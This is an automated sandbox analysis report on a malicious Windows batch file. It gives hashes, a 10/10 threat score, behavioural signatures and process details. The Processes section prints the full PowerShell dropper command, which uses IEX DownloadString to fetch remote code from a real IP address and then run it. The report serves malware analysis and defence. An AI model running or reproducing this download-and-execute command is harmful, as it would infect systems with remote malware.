Analysis
-
max time kernel
64s -
max time network
76s -
platform
windows7_x64 -
resource
win7 -
submitted
04-08-2020 09:10
Static task
static1
Behavioral task
behavioral1
Sample
c7537637f0d43130ee366e47192dafee.bat
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
c7537637f0d43130ee366e47192dafee.bat
Resource
win10v200722
windows10_x64
0 signatures
0 seconds
General
-
Target
c7537637f0d43130ee366e47192dafee.bat
-
Size
215B
-
MD5
fbd7beaf39f98a9eb0c56a0e772d389f
-
SHA1
73f16802c6fa6a0c52971bc8d8a04eff13c47a84
-
SHA256
7172e83cc79ad9bc4d5de2683b447c5d68bc807882c369dd2c0c9b04839189d7
-
SHA512
f45895fc63492fa4e179ca664a275a614c2326c04fa85e9438fa5d9095498bc916cba1ee44b47b8148607d974da6cf3821d6022aaa0eff886c445dd1b7ca82d5
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/c7537637f0d43130ee366e47192dafee
Signatures
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1400 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1400 powershell.exe 1400 powershell.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 3 1400 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
cmd.exedescription pid process target process PID 1108 wrote to memory of 1400 1108 cmd.exe powershell.exe PID 1108 wrote to memory of 1400 1108 cmd.exe powershell.exe PID 1108 wrote to memory of 1400 1108 cmd.exe powershell.exe PID 1108 wrote to memory of 1400 1108 cmd.exe powershell.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
powershell.exepid process 1400 powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\c7537637f0d43130ee366e47192dafee.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1108 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/c7537637f0d43130ee366e47192dafee');Invoke-HBZVQZJA;Start-Sleep -s 10000"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1400